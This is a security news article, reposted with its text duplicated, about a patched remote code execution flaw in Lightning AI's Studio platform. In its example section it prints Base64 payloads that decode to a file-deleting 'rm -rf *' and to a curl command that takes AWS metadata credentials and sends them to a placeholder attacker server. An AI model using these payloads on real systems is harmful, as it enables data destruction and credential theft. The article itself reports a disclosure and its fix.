Critical RCE Vulnerability Found In AI Development Platform Lets Attackers Gain Root Access
- С сайта: Vulnerability(cybersecuritynews.com)
- Вернуться к списку новостей
С сайта: Vulnerability(cybersecuritynews.com)
A critical Remote Code Execution (RCE) vulnerability was discovered in the Lightning AI platform, a widely used tool for AI development.
The flaw, which has since been patched, allowed attackers to gain root access by exploiting a hidden URL parameter. This vulnerability had a CVSS score of 9.4, highlighting its severe potential impact.
The vulnerability stemmed from a hidden command parameter embedded in the JavaScript code of Lightning AI’s Studio platform.
This parameter could be manipulated to execute arbitrary commands in the terminal with root privileges.
.webp)
On the left, an example of studio files, on the right, a terminal opened in a new window (Source – Noma)
Experts at Noma discovered that the attack relied on encoding malicious commands in Base64 format, which were then decoded and executed by the platform.
Example Exploitation
For instance, an attacker could craft a payload like:-
command=cm0gLXJmICo=
This Base64 string translates to rm -rf *, a command that recursively deletes all files. By appending this payload to a URL, attackers could execute it within the victim’s environment.
Another example involved exploiting AWS metadata endpoints to access sensitive credentials:-
cmVzcG9uc2U9JChjdXJsIC1zIGh0dHA6Ly8xNjkuMjU0LjE2OS4yNTQvbGF0ZXN0L21ldGEtZGF0YS9pZGVudGl0eS1jcmVkZW50aWFscy9lYzIvc2VjdXJpdHktY3JlZGVudGlhbHMvZWMyLWluc3RhbmNlKSAmJiBjdXJsIC1YIFBPU1QgLUggIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIgLWQgIiRyZXNwb25zZSIgaHR0cDovL0FUVEFDS0VSX1JFTU9URV9TRVJWRVI=
Decoded, it sends AWS credentials to an attacker-controlled server:-
response=$(curl -s http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) && curl -X POST -H "Content-Type: application/json" -d "$response" ATTACKER_REMOTE_SERVER
The attack flow began with an attacker identifying a victim’s username and Studio path through publicly accessible templates.
They then crafted a malicious URL containing the command parameter with encoded payloads. Once the victim clicked the link, the command executed with root privileges.
This vulnerability enabled remote code execution, allowing arbitrary commands to run with root access, data exfiltration of sensitive information like AWS tokens and user data, and file system manipulation, where attackers could create, delete, or modify files.
Lightning AI patched the issue on October 25, 2024, after Noma Security’s responsible disclosure on October 14, 2024. The fix involved cleaning the user inputs and restricting access to sensitive parameters.
Key takeaways include always validating and cleaning user inputs, enforcing the principle of least privilege by limiting permissions to essential operations, and securing execution methods to prevent direct execution of user-controlled inputs.
In AI development platforms robust security measures are critical to safeguard sensitive data and prevent exploitation.
#Cyber_Security_News #Vulnerability #cyber_security_news
Оригинальная версия на сайте:
Critical RCE Vulnerability Found In AI Development Platform Lets Attackers Gain Root Access
Author: Tushar Subhra DuttaA critical Remote Code Execution (RCE) vulnerability was discovered in the Lightning AI platform, a widely used tool for AI development.
The flaw, which has since been patched, allowed attackers to gain root access by exploiting a hidden URL parameter. This vulnerability had a CVSS score of 9.4, highlighting its severe potential impact.
The vulnerability stemmed from a hidden command parameter embedded in the JavaScript code of Lightning AI’s Studio platform.
This parameter could be manipulated to execute arbitrary commands in the terminal with root privileges.
On the left, an example of studio files, on the right, a terminal opened in a new window (Source – Noma)Experts at Noma discovered that the attack relied on encoding malicious commands in Base64 format, which were then decoded and executed by the platform.
Example Exploitation
For instance, an attacker could craft a payload like:-
command=cm0gLXJmICo=
This Base64 string translates to rm -rf *, a command that recursively deletes all files. By appending this payload to a URL, attackers could execute it within the victim’s environment.
Another example involved exploiting AWS metadata endpoints to access sensitive credentials:-
cmVzcG9uc2U9JChjdXJsIC1zIGh0dHA6Ly8xNjkuMjU0LjE2OS4yNTQvbGF0ZXN0L21ldGEtZGF0YS9pZGVudGl0eS1jcmVkZW50aWFscy9lYzIvc2VjdXJpdHktY3JlZGVudGlhbHMvZWMyLWluc3RhbmNlKSAmJiBjdXJsIC1YIFBPU1QgLUggIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIgLWQgIiRyZXNwb25zZSIgaHR0cDovL0FUVEFDS0VSX1JFTU9URV9TRVJWRVI=
Decoded, it sends AWS credentials to an attacker-controlled server:-
response=$(curl -s http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) && curl -X POST -H "Content-Type: application/json" -d "$response" ATTACKER_REMOTE_SERVER
The attack flow began with an attacker identifying a victim’s username and Studio path through publicly accessible templates.
They then crafted a malicious URL containing the command parameter with encoded payloads. Once the victim clicked the link, the command executed with root privileges.
This vulnerability enabled remote code execution, allowing arbitrary commands to run with root access, data exfiltration of sensitive information like AWS tokens and user data, and file system manipulation, where attackers could create, delete, or modify files.
Lightning AI patched the issue on October 25, 2024, after Noma Security’s responsible disclosure on October 14, 2024. The fix involved cleaning the user inputs and restricting access to sensitive parameters.
Key takeaways include always validating and cleaning user inputs, enforcing the principle of least privilege by limiting permissions to essential operations, and securing execution methods to prevent direct execution of user-controlled inputs.
In AI development platforms robust security measures are critical to safeguard sensitive data and prevent exploitation.
#Cyber_Security_News #Vulnerability #cyber_security_news
Оригинальная версия на сайте:
